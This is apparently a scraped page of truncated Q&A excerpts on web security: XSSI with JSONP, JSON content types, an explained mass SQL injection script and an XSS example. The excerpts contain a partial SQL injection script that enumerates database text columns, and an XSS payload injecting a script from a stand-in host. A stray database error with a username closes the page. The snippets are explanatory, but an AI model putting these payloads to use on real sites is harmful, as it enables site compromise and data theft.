What is Cross Site Script Inclusion (XSSI)?

This is typically a problem if you are using JSONP to transfer data. Consider a website consisting of a domain A that loads data from domain B. The user has to be authenticated to site A and B, and because the Same Origin Policy prevents older browsers from communicating directly with a different domain (B) … Read more

Is it possible to XSS exploit JSON responses with proper JavaScript string escaping?

This potential xss vulnerability can be avoided by using the correct Content-Type. Based on RFC-4627 all JSON responses should use the application/json type. The following code is not vulnerable to xss, go ahead test it: <?php header(‘Content-type: application/json’); header(“x-content-type-options: nosniff”); print $_GET[‘json’]; ?> The nosniff header is used to disable content-sniffing on old versions of … Read more

Can someone explain this SQL injection attack to me?

Just formatting it for readability will clarify a lot: set ansi_warnings off DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME, c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in (‘nvarchar’,’varchar’,’ntext’,’text’) and c.CHARACTER_MAXIMUM_LENGTH > 30 and t.table_name = c.table_name and t.table_type=”BASE TABLE” OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN … Read more

Is it really insecure to build HTML strings in Javascript?

If this.au is somehow modified, it might contain something like this: “><script src=”http://example.com/evilScript.js”></script><span class=” That’ll mess up your HTML and inject a script: <a class=”quiz-au” data-src=””><script src=”http://example.com/evilScript.js”></script><span class=””><span class=”quiz-au-icon”></span>Click to play</a> If you use DOM manipulation to set the src attribute, the script (or whatever other XSS you use) won’t be executed, as it’ll be … Read more

Hata!: SQLSTATE[HY000] [1045] Access denied for user 'divattrend_liink'@'localhost' (using password: YES)